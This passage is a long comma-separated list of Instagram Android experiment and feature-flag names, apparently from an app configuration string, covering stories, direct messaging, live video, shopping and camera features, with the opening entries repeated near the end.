n_direct_inbox,ig_business_skip_page_creation_universe,ig_android_live_stop_broadcast_on_404,ig_android_live_skip_live_encoder_pts_correction,ig_android_direct_new_message_ranking,ig_android_render_iframe_interval,ig_android_live_move_video_with_keyboard_universe,ig_android_live_face_filter,ig_android_suggested_user_dismiss,ig_android_business_ix_webview_universe,ig_story_camera_reverse_video_experiment,ig_android_stories_tray_fast_scroll_universe,ig_android_story_ad_text_limitation_universe,ig_downloadable_modules_experiment,ig_android_downloadable_modules,ig_android_felix,ig_android_archive_features_holdout_universe,ig_android_find_loaded_classes,ig_two_fac_totp_enable,ig_android_camera_universe,ig_android_insights_creative_tutorials_universe,ig_save_android_dual_action_upsell,ig_android_photos_qpl,ig_hashtag_following_holdout_universe,ig_android_facebook_global_state_sync_frequency_universe,ig_android_unify_video_player,ig_android_explore_universe,ig_android_story_viewer_impressions,ig_android_experimental_filters,ig_android_webrtc_icerestart_universe,ig_android_interactions_permalink_replace_single_media_universe,ig_android_live_comment_fetch_frequency_universe,ig_android_direct_inbox_recyclerview,ig_android_highlight_title_universe,ig_shopping_viewer_share_action,ig_android_hashtag_row_preparer,ig_eof_caboose_universe,ig_android_optic_new_features_implementation,ig_android_optic_new_zoom_controller,ig_android_direct_log_badge_count_inconsistent,ig_android_qp_clash_management_enabled_v4_universe,ig_android_hide_button_for_invite_facebook_friends,ig_android_realtime_fix_mqtt_connectivity_universe,ig_android_activity_feed_impression_logger,ig_android_live_align_by_2_universe,ig_android_reorder_lowdata_check,ig_android_network_util_cache_info,ig_android_async_network_tweak_universe_15,ig_android_direct_thread_presence,ig_android_camera_new_early_show_smile_icon_universe,ig_android_lazy_inflate_inline_comment_composer_v1,ig_android_direct_remix_visual_messages,ig_android_upload_prevent_upscale,ig_android_auto_advance_su_unit_when_scrolled_off_screen,ig_android_business_ix_universe,ig_android_shopping_pdp_related_posts,ig_android_live_comment_typing_indicator_production_universe,ig_android_new_one_tap_nux_universe,ig_feed_experience,ig_android_stories_gallery_long_term_holdout,ig_android_business_new_navigation_universe,ig_android_stories_text_format_emphasis,ig_android_explore_post_chaining_cache,ig_android_direct_app_invites,ig_android_hashtags_in_feed_posts,ig_android_video_resize_operation,ig_android_live_end_redirect_universe,ig_android_following_hashtags_tooltip,ig_direct_max_participants,ig_android_direct_unify_autoloadmore_logic2_universe,ig_android_stories_whatsapp_share,ig_android_low_data_mode_backup_2,ig_android_bitmap_attribution_check,ig_android_contact_invites_nux_universe,ig_android_direct_share_story_to_facebook,ig_android_stories_music_overlay,ig_android_direct_null_state_activation_cards,ig_android_exoplayer_creation_flow,school_onboarding_flow_prompt_universe,ig_android_stories_sticker_tray_reveal_more,ig_android_video_segmented_upload_multi_thread_universe,ig_android_fbupload_sidecar_video_universe,ig_mi_android_main_feed_impression_universe,ig_android_direct_app_thread_presence_header,ig_android_react_native_restart_after_error_universe,ig_android_profile,ig_android_additional_contact_in_nux,ig_android_disk_usage_universe_v2,ig_android_story_reactions_producer_holdout,ig_android_live_use_rtc_upload_universe,ig_android_live_replay_highlights_universe,ig_main_activity_cold_start,ig_android_direct_double_tap_like_everything,ig_image_pipline_universe,ig_android_direct_character_limit,ig_business_dynamic_conversion_universe,ig_android_shopping_channel_in_explore,ig_stories_holdout_h1_2018,ig_android_scroll_perf_qpl_killswitch,ig_android_fbns_optimization_universe,ig_android_profile_phone_prefill_universe,ig_android_video_status_control,ig_android_subtitle_no_cache,ig_android_direct_attribute_app_on_gifs,ig_android_igtv_picture_in_picture_support,ig_android_video_ta_universe,ig_android_live_view_profile_from_comments_universe,ig_android_interactions_threaded_comments_in_feed_universe,ig_fbns_blocked,ig_android_sso_kototoro_app_universe,ig_android_comments_ranking_toggle_universe,ig_android_cache_logger_video,ig_android_biz_auto_slide_props,ig_android_show_fbunlink_button_based_on_server_data,ig_android_page_claim_deeplink_qe,ig_android_new_orders_entrypoint,ig_android_media_rows_async_inflate,ig_android_direct_story_chaining_v2,ig_android_ad_show_full_name_universe,ig_android_audio_segment_report_info,ig_android_private_highlights_universe,ig_android_igtv_audio_always_on,ig_android_interactions_inline_composer_extensions_universe,ig_android_scroll_main_feed,ig_business_integrity_ipc_universe,ig_android_insights_contextual_education_universe,ig_android_rate_limit_feed_item_viewable_helper,ig_android_carousel_view_stubs,ig_android_fci_empty_feed_friend_search,ig_feed_requests_logs_universe,ig_android_video_qp_logger_universe,ig_discovery_holdout_universe,ig_android_one_tap_upsell_redesign,ig_android_direct_create_shortcut,ig_android_ar_effects_button_display_timing,ig_android_audience_control_nux,ig_vc_holdout_universe_h2,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_android_stories_sampled_progress,ig_android_contact_invite_crash_fix,ig_android_qpl_queue_time_universe,ig_android_ccu_jobscheduler_outer,ig_android_stories_viewer_modal_activity,ig_android_fbns_preload_direct_universe,ig_android_direct_24h_replayability_nux_killswitch_universe,ig_android_activity_feed_row_click,ig_android_gl_drawing_marks_after_undo_backing,ig_android_shopping_stories_consumption,ig_android_flytrap_job_intent_service,ig_android_time_spent_dashboard,ig_android_strip_domain_gif_cache_key,ig_android_loom_v2,ig_android_close_friends_v4_account_switcher,ig_android_ad_pbia_header_click_universe,ig_android_direct_quick_replies,ig_android_handle_username_in_media_urls_universe,ig_android_request_compression_universe,ig_android_usersession_leak_patching_universe,ig_android_growth_fci_team_holdout_universe,ig_android_hybrid_bitmap_for_n,ig_android_insights_holdout,ig_feed_engagement_holdout_2018_h1,ig_use_fb_rtmp_streamer_universe,ig_android_media_sticker_width_ratio,ig_android_live_post_live_for_live_reshare,ig_android_direct_app_multi_account_badging,ig_android_direct_persisted_text_drafts_universe,ig_android_felix_prefetch_thumbnail_sprite_sheet,ig_camera_android_segmentation_async_universe,ig_android_draw_chalk_client_universe,ig_android_separate_network_executor,ig_android_remove_push_notifications,ig_android_video_segment_ffmpeg_muxer_universe,ig_android_universe_video_production,ig_android_intialization_chunk_410,ig_android_live_analytics,ig_android_camera_gallery_upload_we_universe,ig_android_video_exoplayer_2,ig_android_bitmap_compress_retry_universe,ig_android_verified_comments_universe,ig_android_direct_sidebar_send_states_rollout,ig_android_dash_script,ig_android_direct_mutation_manager_universe_v4,ig_shopping_viewer_intent_actions,ig_android_gallery_order_by_date_taken,ig_android_live_640_quality,ig_android_direct_mutation_manager_video_universe,ig_android_custom_story_import_intent,ig_lockdown_feed_perf,ig_stories_allow_camera_actions_while_recording,ig_video_copyright_whitelist,ig_explore_holdout_universe,ig_android_direct_random_gifs_killswitch,ig_android_optic_nullify_preview_texture_on_release,ig_android_fbc_upsell_on_dp_first_load,ig_android_device_language_reset,ig_android_direct_initialize_camera_animator_on_attach_fragment_to_host,ig_android_video_watermark_universe_qe2,ig_android_shopping_video_product_tag_consumption,ig_biz_growth_entry_value,ig_android_stories_alignment_guides_universe,ig_android_livewith_guest_adaptive_camera_universe,ig_android_optic_thread_priorities,ig_android_live_encore_camera_pivot_universe,ig_android_carousel_no_buffer_10_30,ig_profile_company_holdout_h2_2018,ig_android_feed_coldstart_universe,ig_android_felix_pager_center_buffer_bias,ig_android_user_url_deeplink_fbpage_endpoint,ig_android_direct_face_filter_button_in_composer,ig_android_rate_limit_feed_video_module,ig_android_optic_tweaking_universe,ig_android_ad_watchbrowse_universe,ig_direct_raven_search_universe,ig_android_live_pivot_to_reshare_universe,ig_company_profile_holdout,ig_android_invite_list_button_redesign_universe,ig_close_friends_v4_notifications,ig_android_log_mediacodec_info,ig_android_fb_follow_server_linkage_universe,ig_android_direct_expiring_media_loading_errors,ig_android_direct_remove_blurred_profile_photo_for_thread_camera_universe,ig_android_direct_multiple_media_send_in_thread,ig_android_smartisan_app_badging,ig_android_insights_relay_optimization_universe,ig_android_stories_viewer_bitmap_holder,ig_android_shopping_catalogsearch,ig_android_reel_zoom_universe,ig_android_cpu_frame_rendering_universe,ig_android_stories_create_flow_favorites_tooltip,ig_android_direct_ephemeral_replies_with_context,ig_android_stories_music_broadcast_receiver,ig_android_explore_in_feed_universe,ig_android_direct_send_new_combined_reshare,ig_android_direct_bugreport_from_message_failures,ig_android_enable_request_compression_ccu,ig_android_own_post_share_update,ig_android_vc_ongoing_call_notification_universe,ig_fb_notification_universe,ig_android_stability_memory_manual_fixes_h1_2018,ig_branded_content_paid_branded_content,ig_android_facebook_twitter_profile_photos,ig_android_story_decor_image_fbupload_universe,ig_android_hashtag_creation_development,ig_android_hero_player_settings,ig_android_live_with_invite_sheet_search_universe,ig_promote_ppe_v2_universe,ig_android_stories_archive_calendar,ig_android_ad_watchbrowse_cta_universe,ig_business_signup_biz_id_universe,ig_android_video_render_device_tiers,ig_android_realtime_iris,ig_android_nametag_in_stories_camera,ig_android_profile_activation_cards,ig_android_direct_gifs_in_thread,ig_android_main_feed_fragment_scroll_timing_histogram_uni,ig_android_qp_batch_fetch_caching_enabled_v1_universe,ig_android_signup_use_activity,ig_android_location_feed_related_business,ig_promote_audience_selection_universe,ig_android_media_rows_prepare_10_31,ig_family_bridges_holdout_universe,ig_android_updatelistview_on_loadmore,ig_android_business_ix_self_serve,ig_android_qa_whitelist_for_su_in_empty_feed,ig_direct_raven_sharesheet_ranking,ig_android_insta_video_consumption_infra,ig_android_api_urlencode_universe,ig_android_concurrent_cold_start_universe,ig_android_multi_capture_camera,ig_android_stories_cross_sharing_to_fb_holdout_universe,ig_smb_ads_holdout_2018_h2_universe,ig_android_edit_location_page_info,ig_android_felix_video_upload_length,ig_android_video_segment_resume_policy_universe,ig_android_igsystrace_universe,ig_camera_android_ar_effect_deeplink_universe,ig_android_igtv_banner_changes,ig_android_dash_for_vod_universe,ig_android_new_highlight_button_text,ig_android_low_content_nux_ci_show_su,ig_android_story_ads_default_long_video_duration,ig_android_stories_camera_enhancements,ig_android_feed_stale_check_interval,ig_android_interactions_realtime_typing_indicator_and_live_comments,ig_android_show_third_party_username,ig_android_video_live_trace_universe,ig_android_stories_gallery_improvements,ig_android_stories_large_reel_navigation,ig_android_prefetch_notification_data,ig_android_3pspp,ig_android_direct_full_size_gallery_upload_universe_v2,ig_promotions_unit_in_insights_landing_page,ig_android_direct_pending_media,ig_camera_ar_image_transform_library,ig_android_comments_composer_newline_universe,ig_android_bp_stories_prefetch_fix_rollout_universe,ig_android_stories_gif_sticker,ig_camera_android_superzoomv3_attribution_universe,ig_android_stories_posting_offline_ui,ig_camera_android_superzoomv3_universe,ig_android_account_hierarchy_account_association_signal_upload_kill_switch,ig_android_comments_inline_composer_new_ui_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_post_share_to_string,ig_android_question_sticker_see_all_card_universe,ig_android_comments_direct_reply_to_author,ig_android_video_streaming_upload_universe,ig_android_qp_tooltips_enabled_v1_universe,ig_android_stepper_header,ig_android_family_bridge_discover,ig_direct_report_conversation_universe,ig_android_startup_manager,instagram_search_and_coefficient_holdout,ig_android_high_res_upload_2,ig_android_camera_sdk_check_gl_surface_r2,ig_android_http_service_same_thread,ig_android_remove_confirmation_dialog_for_unfollowing_public_users,ig_challenge_general_v2,ig_android_expired_build_lockout,ig_profile_holdout_universe,ig_android_felix_keep_video_view,ig_android_vpvd_impressions_universe,ig_android_direct_thread_composer_send,ig_android_post_capture_filter,ig_android_rendering_controls,ig_android_os_version_blocking,ig_promote_fix_expired_fb_accesstoken_android_universe,ig_android_encoder_width_safe_multiple_16,ig_android_stories_combined_asset_search,ig_android_live_comment_typing_indicator_consumption_universe,ig_android_request_feed_on_back,ig_android_igtv_no_badge,ig_android_unfollow_from_main_feed_v2,ig_android_edit_business_profile_inline_error_universe,ig_promote_video_retry_universe,ig_android_hostmanager_save_state_back_press,ig_helium_v1,ig_android_buffered_analytics_logger_thread_safe,ig_android_fb_connect_follow_invite_flow,ig_android_video_stitch_after_segmenting_universe,ig_android_enable_swipe_to_dismiss_for_all_dialogs,ig_android_business_cross_post_with_biz_id_infra,ig_android_paid_branded_content_rendering,ig_android_marauder_update_frequency,ig_android_rage_shake_whitelist,ig_android_low_data_mode_backup_4,ig_mi_analytics_uploader_diagnostics,ig_android_shopping_pdp_craft,ig_android_ad_connection_manager_universe,ig_android_reset_to_feed_from_background,ig_android_ad_watchbrowse_carousel_universe,ig_android_branded_content_edit_flow_universe,ig_android_video_feed_universe,ig_android_upload_reliability_universe,ig_android_delay_product_tag_indicator_inflate,ig_android_feed_audio,ig_android_sharing,ig_android_interactions_mention_search_presence_dot_universe,ig_android_stop_logging_netego_su_short_impressions,ig_android_direct_app_custom_notification_sound,ig_android_direct_app_reel_grid_search,ig_android_live_disable_speed_test_ui_timeout_universe,ig_android_hashtag_page_reduced_related_items,ig_direct_reshare_sharesheet_ranking,ig_android_stability_holdout_2018,ig_direct_reshare_search_universe,ig_branded_content_share_to_facebook,ig_android_building_aymf_universe,ig_android_collect_os_usage_events_universe,ig_android_live_dash_latency_broadcaster,ig_android_shopping_pdp_from_the_community,ig_android_direct_mqtt_send,ig_promote_unified_insights_universe,ig_android_global_prefetch_scheduler,ig_android_capture_slowmo_mode,ig_fbns_shared,ig_android_live_ff_fill_gap,ig_android_interactions_composer_extensions_universe,ig_android_cache_timespan_objects,ig_android_rn_ads_manager_universe,ig_android_foreground_location_collection,ig_kill_connectivity_change_receiver,ig_android_pending_actions_serialization,ig_android_2018_h1_hashtag_report_universe,ig_android_new_camera_design_universe,ig_android_surface_view,ig_android_ads_history_universe,ig_android_image_cache_tweak_for_n,ig_android_hashtag_unfollow_from_main_feed,ig_android_ad_watchmore_entry_point_universe,ig_android_stories_feedback_badging_universe,ig_android_low_latency_consumption_universe,ig_live_holdout_h1_2018,ig_android_graphql_survey_new_proxy_universe,ig_android_resumable_downloads_logging_universe,ig_android_suggested_users_redesign_class_cast,ig_direct_recipients_search_universe,ig_android_scheduled_executor,ig_android_fblocation_universe,ig_android_video_prefetch_for_connectivity_type,ig_android_early_storyrequest,ig_android_ad_holdout_watchandmore_universe,ig_android_felix_insights,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on,ig_android_interests_netego_dismiss,ig_android_in_app_notifications_queue,ig_android_split_contacts_list,ig_android_igtv_always_show_browse_ui,ig_android_always_use_server_recents,ig_android_carousel_prefetch_bumping,ig_android_share_link,ig_fbns_kill_switch,ig_vc_holdout_universe,ig_android_direct_blended_inbox_filters_universe,ig_android_live_broadcast_blacklist,ig_mi_extra_bundle_investigation_universe,ig_android_direct_media_forwarding,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_fb_link_ui_polish_universe,ig_android_video_webrtc_textureview,ig_android_qp_social_context_megaphones_enabled_v1_universe,ig_android_business_promote_tooltip,ig_xplat_shopping_cataloglist,ig_android_draw_rainbow_client_universe,ig_android_biz_category_prefill_universe,ig_android_enable_swipe_to_dismiss_for_favorites_dialogs,ig_android_pigeon_sampling,ig_android_auto_retry_post_mode,ig_android_gallery_high_quality_photo_thumbnails,ig_android_video_upload_quality_avoid_degradation,ig_android_show_weekly_ci_upsell_limit,ig_direct_android_reply_modal_universe,ig_ei_option_setting_universe,ig_android_gallery_multi_select,ig_perf_android_holdout,ig_direct_core_holdout_q1_2018,ig_promote_insights_video_views_universe,ig_android_list_redesign,ig_android_claim_location_page,ig_android_search_normalization,ig_android_su_rows_preparer,ig_android_direct_forward_messages_universe,ig_android_pbia_proxy_profile_universe,ig_android_cover_frame_rendering,ig_android_feed_post_sticker_alt,ig_camera_android_segmentation_enabled_universe,ig_android_upload_retry_job_service,ig_android_live_time_adjustment_universe,ig_android_stories_better_error_state_handling,ig_android_verify_phone_universe,ig_android_vc_in_app_notification_universe,ig_android_react_native_ota,ig_android_low_data_mode_backup_3,android_ig_camera_ar_asset_manager_improvements_universe,ig_android_qcc_perf,ig_android_video_cache_evictor_universe,ig_android_direct_business_holdout,ig_android_promote_feed_to_stories_universe,ig_media_geo_gating,ig_android_media_as_sticker,ig_android_internal_sticker_universe,ig_android_live_selective_disk_recording,ig_android_video_watermark_universe,ig_android_giphy_content_rating,ig_android_ad_cta_context_universe,ig_android_sc_ru_ig,ig_android_live_streaming_experimental_abr_universe,ig_android_cronet_stack,ig_android_mention_sharing_from_reel_viewer_universe,ig_android_warm_headline_text,ig_android_new_block_flow,ig_android_long_form_video,ig_android_network_trace_migration,ig_android_messenger_share_test,android_face_filter_universe,ig_android_vc_webrtc_tslog,ig_android_stories_reappearing_tray_universe,ig_android_stories_server_brushes,ig_android_video_upload_configuration,ig_android_collections_cache,ig_android_stories_disable_highlights_media_preloading,ig_android_logging_metric_universe_v2,ig_android_stories_persistent_tray_universe,ig_android_screen_recording_bugreport_universe,ig_android_cleanup_socket_client,ig_android_friends_sticker,ig_android_whats_app_contact_invite_universe,ig_android_feed_auto_share_to_facebook_dialog,ig_android_felix_creation_enabled,ig_direct_android_larger_media_reshare_style,ig_android_image_mem_cache_strong_ref_universe,ig_android_suggested_highlights,ig_android_original_video_report_info,ig_stories_holdout_h2_2017,ig_android_video_server_coverframe,ig_android_video_controls_universe,ig_camera_holdout_h1_2018_performance,ig_android_allow_reshare_setting,ig_android_inappnotification_rootactivity_tweak,ig_android_local_info_page,ig_camera_holdout_h1_2018_product,ig_shopping_checkout_mvp_experiment,ig_android_hide_type_mode_camera_button,ig_timestamp_public_test,ig_android_direct_thread_composer_hint_text,ig_android_webrtc_renderer_reuse_universe,ig_android_business_conversion_value_prop_v2,ig_android_stories_question_sticker_precapture_response,ig_android_live_wave_production_universe,ig_android_nametag_dark_launch_universe,ig_android_question_sticker_replied_state,ig_android_obtain_byte_array_only_if_needed_universe,ig_android_early_feedrequest,ig_android_video_no_proxy,ig_android_hashtag_search_suggestions,ig_android_stories_music_photo_default_duration,ig_android_feed_cache_multipage_universe,ig_android_leak_detector_upload_universe,ig_android_hashtag_page_support_places_tab,ig_android_ad_lightweight_in_app_browser,ig_android_save_upsell_timing,ig_android_video_tagging,ig_android_live_bg_download_face_filter_assets_universe,ig_android_video_segmented_media_needs_reupload_universe,ig_android_insta_video_audio_encoder,ig_android_search_hashtag_badges,ig_android_video_ssim_report_universe,ig_android_direct_view_more_qe,ig_camera_android_effect_info_bottom_sheet_universe,ig_android_log_su_impression_with_zero_latency,ig_android_direct_voice_messaging,ig_android_profile_lazy_load_carousel_media,ig_android_explore_autoplay_use_less_data_universe,ig_android_reel_dashboard_camera_entry_point,ig_android_su_follow_back,ig_android_disable_explore_prefetch,ig_android_ad_redesign_iab_universe,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_direct_quality_lockdown_holdout_2018,ig_android_ad_collection_thumbnail_cta_universe,ig_android_bitmap_cache_executor_size,ig_android_direct_log_badge_count,ig_android_direct_remove_visual_messages_nuxs,ig_camera_fast_tti_universe,ig_android_non_square_first,ig_android_vc_fix_joining_other_call_with_new_intent,ig_android_drawable_usage_logging_universe,ig_android_reel_viewer_data_buffer_size,ig_explore_2018_h2_platformization_android_universe,ig_traffic_routing_universe,ig_promote_political_ads_universe,ig_android_clarify_invite_options,ig_android_qp_batch_fetch_server_ttl_enabled_v1_universe,ig_android_igtv_aspect_ratio_limits,ig_android_effect_tray_background,ig_android_disable_scroll_listeners,ig_stories_selfie_sticker,ig_android_video_upload_quality_qe1,ig_android_stories_music_awareness_universe,ig_android_live_nerd_stats_universe,ig_android_video_cache_size_universe,ig_android_igds_edit_profile_fields,ig_android_feed_timeout_universe,ig_video_holdout_h2_2017,ig_android_immersive_viewer_follow,ig_android_sso_family_key_universe,ig_android_direct_share_sheet_custom_fast_scroller,ig_android_live_see_fewer_videos_like_this_universe,ig_android_sonar_prober_universe,ig_android_swipe_up_area_universe,ig_android_crash_report_device_id_swap,ig_android_video_segmented_upload_universe,ig_android_direct_new_thread_header,ig_perf_android_holdout_2018_h1,ig_android_live_special_codec_size_list,ig_android_view_info_universe,ig_android_cold_start_cool_off_universe,android_ig_camera_clear_metadata_after_switch_account,ig_android_shopping_video_product_tag_creation,ig_android_startup_sampling_rate_universe,promote_media_picker,ig_android_story_import_intent,ig_android_edit_highlight_redesign,ig_android_insta_video_broadcaster_infra_perf,ig_android_ama_universe,ig_android_live_webrtc_livewith_params,ig_android_show_fb_name_universe,ig_android_explore_post_chaining_prefetch,ig_android_fix_prepare_direct_push,ig_android_direct_speed_cam_univ,ig_android_all_videoplayback_persisting_sound,ig_android_live_pause_upload,ig_android_stories_gallery_sticker,ig_android_2fac,ig_android_vc_sounds_universe,ig_android_igtv_refresh_tv_guide_interval,ig_direct_inbox_search_universe,ig_android_experimental_onetap_dialogs_universe,ig_android_pendingmedia_retry,ig_android_settings_redesign,ig_lockdown_feed_perf_image_cover,ig_android_direct_search_story_recipients_universe,ig_android_fb_sharing_shortcut,ig_android_grid_cell_count,ig_android_ad_watchinstall_universe,ig_android_realtime_manager_optimization,ig_android_shortcuts,ig_android_comments_notifications_universe,ig_android_archive_fetching,ig_android_gdpr_fip_year_picker_user,ig_android_vc_webrtc_params,ig_android_canvas_tilt_to_pan_universe,ig_android_feed_sharing_memory_leak,ig_android_direct_expiring_media_from_notification_behavior_universe,ig_android_connectivity,ig_android_ad_account_top_followers_universe,ig_android_offline_reel_feed,ig_android_vc_end_screen_user_feedback_universe,native_contact_invites_universe,ig_android_user_behavior_prefetch,ig_android_feed_post_sticker,ig_android_facebook_crosspost,ig_android_stories_tray_refresh_universe,ig_android_mark_seen_state_on_viewed_impression,ig_android_viewer_tapback_size_universe,ig_android_direct_mutation_manager_photo_universe,ig_android_configurable_retry,ig_promote_estimated_clicks_universe,ig_business_profile_18h1_holdout_universe,ig_android_nearby_venues_location_timeout_fallback,ig_android_photo_invites,ig_android_no_network_profile_universe,ig_interactions_h2_2018_team_holdout_universe,ig_branded_content_tagging_upsell,ig_android_ccu_jobscheduler_inner,ig_android_explore_chaining_universe,ig_android_gqls_typing_indicator,ig_android_direct_show_inbox_loading_banner_universe,ig_android_webrtc_encoder_factory_universe,ig_ads_increase_connection_step2_v2,ig_android_direct_permanent_photo_screenshot_quality_fix,ig_scroll_by_two_cards_for_suggested_invite_universe,ig_android_internal_collab_savemessages_chronologically,ig_android_profile_grid_preview,ig_android_hashtag_contextual_feed_follow_button,ig_android_direct_visual_reply_text_mode_background,ig_smb_ads_basket_of_values_universe,ig_android_shopping_pdp_universe,ig_android_anr,ig_close_friends_v4,ig_android_feed_seen_state_with_view_info,ig_android_direct_visual_previews_in_thread,ig_promote_budget_warning_view_universe,ig_promote_daily_budget_multiplier_universe,ig_android_post_recs_hide_from_author_universe,ig_android_biz_conversion_editable_profile_review_universe,ig_android_ad_increase_story_adpreload_priority_universe,ig_android_cache_video_autoplay_checker,ig_android_live_use_dummy_camera_controller,ig_android_ad_watchlead_universe,ig_android_live_viewer_single_tap_invite_universe,ig_android_cold_start_json_delivery_improvement,ig_stories_suggestions_for_small_tray_universe,ig_android_direct_prefetch_direct_story_json,ig_shopping_catalog_selection_done_button,ig_android_live_save_to_camera_roll_compatibility_filter_universe,ig_android_fb_profile_integration_universe,ig_android_stories_weblink_creation,ig_android_live_start_broadcast_optimized_universe,ig_android_netgo_cta,ig_android_histogram_reporter,ig_android_vc_universe,ig_android_network_cancellation,ig_android_enable_remove_followers_for_public_users,ig_android_live_presence_universe,ig_android_search_normalization_recipients,ig_android_downloaded_image_decode_universe,ig_android_video_use_new_logging_arch,ig_auto_login_pop_up_banner,ig_android_hashtag_following,ig_two_fac_promote_switch,ig_android_felix_release_all_players_on_pause,ig_android_direct_reel_options_entry_point,ig_android_low_data_mode_backup_1,ig_direct_holdout_h2_2018,ig_android_scroll_logging_grids,ig_android_reactive_feed_like_count,ig_android_redirect_to_web_on_oembed_fail_universe,ig_android_vc_handle_surface_destroy_universe,ig_mi_reuse_string_builder,ig_android_constrain_image_size_universe,ig_camera_android_facetracker_v12_universe,ig_android_biz_qp_suggest_page,ig_android_close_friends_v3,ig_android_direct_mutation_manager_job_scheduler,ig_android_stories_archive_fast_scroll,ig_android_direct_app_thread_bubble_attribution,ig_android_continuous_video_capture,ig_android_live_skin_smooth,ig_promote_net_promoter_score_universe,ig_android_qp_features,android_ig_stories_without_storage_permission_universe2,ig_android_reel_raven_video_segmented_upload_universe,ig_android_rate_limit_mediafeedviewablehelper,ig_android_swipe_navigation_x_angle_universe,ig_android_invite_xout_universe,ig_mi_impression_mainfeed_switchover,ig_android_remove_follow_all_fb_list,ig_android_save_all,ig_android_vc_call_screen_universe,ig_android_live_report_watch_time_when_update,felix_android_video_quality,ig_eof_demarcator_style_universe,ig_android_feed_caption_truncate_universe,ig_shopping_post_insights,ig_android_shopping_more_from_business,ig_android_close_friends_v4_profile_toggle,ig_carousel_animation,ig_android_skip_video_render,ig_android_highlight_stickers_universe,ig_android_navigation_latency_clock,ig_android_interactive_listview_during_refresh,ig_android_direct_permanent_media_viewer_loading_flicker_fix,ig_android_ffmpeg_muxer_write_retry_universe,ig_android_post_recs_show_more_button_universe,ig_android_live_suggested_live_expansion,ig_android_video_cover_frame_universe,ig_android_direct_app_hide_recents_header_in_recipient_picker_universe,ig_android_optic_camera_warmup,ig_android_video_refactor_logger,ig_hermes_android,ig_promote_lotus_universe,ig_android_instavideo_periodic_notif,ig_stories_engagement_team_holdout_universe,ig_android_stories_gallery_video_segmentation,ig_android_direct_replace_inbox_camera_with_stories_camera,ig_android_direct_launch_reel_viewer_for_replies,ig_android_biz_value_props_new_illustrations,ig_android_igtv_save,ig_android_direct_presence_indicator,ig_android_asset_picker_improvements,ig_android_profile_lazy_load_comments_universe,ig_android_react_native_universe_kill_switch,ig_felix_playback_infra,ig_android_igtv_tray_in_feed,ig_android_qp_kill_switch,ig_android_new_contact_invites_entry_points_universe,ig_android_optic_feature_testing,ig_android_ad_leadgen_single_screen_universe,ig_android_stories_highlights_fast_navigation_universe,ig_android_direct_launch_to_stories_gallery,ig_android_vc_add_users_universe,ig_android_react_native_email_sms_settings_universe,ig_android_business_id_conversion_universe,ig_android_business_promote_refresh_fb_access_token_universe,ig_android_selfupdate_jobscheduler,ig_android_video_cover_frame_from_original_as_fallback,ig_android_camera_leak_detector_universe,ig_android_insights_multiple_timeframes_universe,ig_android_story_viewer_linear_preloading_count,ig_live_holdout_h2_2018,ig_android_stories_tray_in_viewer,ig_android_betamap_universe,instagram_aat,ig_video_experimental_encoding_consumption_universe,ig_android_stories_share_extension_video_segmentation,ig_android_feed_upload_progress,ig_camera_android_superzoom_icon_position_universe,ig_android_direct_new_inbox_visual_unread_state,ig_android_live_dash_latency_manager,instagram_interests_holdout,ig_android_user_detail_endpoint,ig_android_direct_performance_inbox_list_refresh_fix,ig_android_shopping_signup,ig_camera_android_segmentation_universe,ig_android_gif_framerate_throttling,ig_android_shopping_checkout_mvp,ig_android_live_save_to_camera_roll_limit_by_screen_size_universe,ig_end_of_feed_universe,ig_android_camera_face_effect_tray_loading_universe,ig_entity_page_holdout_universe,ig_android_live_use_all_preview_sizes,ig_hero_player,ig_android_direct_app_ig_app_link,ig_android_video_ffmpeg_muxer_universe,ig_android_live_follow_from_comments_universe,ig_android_profile_phone_autoconfirm_universe,ig_android_comments_new_like_button_position_universe,ig_account_recs_in_chaining,ig_android_igtv_whitelisted_for_web,ig_android_direct_tappable_action_log,ig_fb_cross_posting_sender_side_holdout,ig_android_igds_in_app_notifications_universe,ig_android_felix_feed_badging_tooltip_universe,ig_camera_gallery_button_thumbnail_universe,ig_android_arengine_separate_prepare,ig_android_direct_video_segmented_upload_universe,ig_android_direct_visual_history,ig_android_prefetch_queue_front,ig_android_employee_options_override,ig_android_direct_fix_video_prefetch,ig_camera_android_ar_platform_universe,ig_android_rtc_reshare,ig_android_nametag,ig_android_netego_scroll_perf,ig_android_direct_mutation_manager_universe_v5,ig_android_biz_value_props_new_illustrations_conversion,ig_fbns_preload_default,ig_android_cover_frame_blacklist,ig_android_remove_find_people_to_follow_dialog_ci_empty_state,android_cameracore_ard_ig_integration,ig_android_use_iterative_box_blur,ig_android_device_detection_info_upload,ig_android_clear_inflight_image_request,ig_android_audio_ingestion_params,ig_android_native_logcat_interceptor,ig_android_stories_separate_overlay_creation,ig_android_enable_liger_preconnect_universe,ig_android_high_res_gif_stickers,ig_android_vod_abr_universe,ig_payments_paypal,ig_android_world_effects,ig_android_hashtag_feed_tabbed,ig_android_vc_participants_grid_universe,ig_android_video_decoder_retry,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_account_identity_2018_h2_lockdown_phone_global_holdout,ig_android_one_tap_sharesheet_fb_extensions,ig_android_direct_thread_custom_item_animator,ig_android_insights_post_engagement_universe,ig_android_internal_research_settings,ig_android_country_code_fix_universe,ig_android_optic_fast_preview_restart_listener,ig_android_inline_appeal_show_new_content,ig_android_show_su_in_other_users_follow_list,ig_android_fb_family_navigation_badging_user,ig_android_video_scrubber_thumbnail_universe,ig_lockdown_feed_caption_length_universe,ig_stories_music_sticker,ig_android_optic_disable_post_capture_preview_restart,ig_android_vc_minimized_viewer_universe,ig_android_low_data_mode_backup_5,ig_android_post_live_expanded_comments_view_universe,ig_android_save_product_universe,ig_android_rainbow_hashtags,ig_android_igtv_chaining,ig_android_limit_api_calls,ig_android_profile_private_banner,ig_android_stories_video_prefetch_kb,ig_android_direct_stories_in_direct_inbox,ig_business_skip_page_creation_universe,ig_android_live_stop_broadcast_on_404,ig_android_live_skip_live_encoder_pts_correction,ig_android_direct_new_message_ranking,ig_android_render_iframe_interval,ig_android_live_move_video_with_keyboard_universe,ig_android_live_face_filter,ig_android_suggested_user_dismiss,ig_android_business_ix_webview_universe,ig_story_camera_reverse_video_experiment,ig_android_stories_tray_fast_scroll_universe,ig_android_story_ad_text_limitation_universe,ig_downloadable_modules_experiment,ig_android_downloadable_modules,ig_android_felix,ig_android_archive_features_holdout_universe,ig_android_find_loaded_classes,ig_two_fac_totp_enable,ig_android_camera_universe,ig_a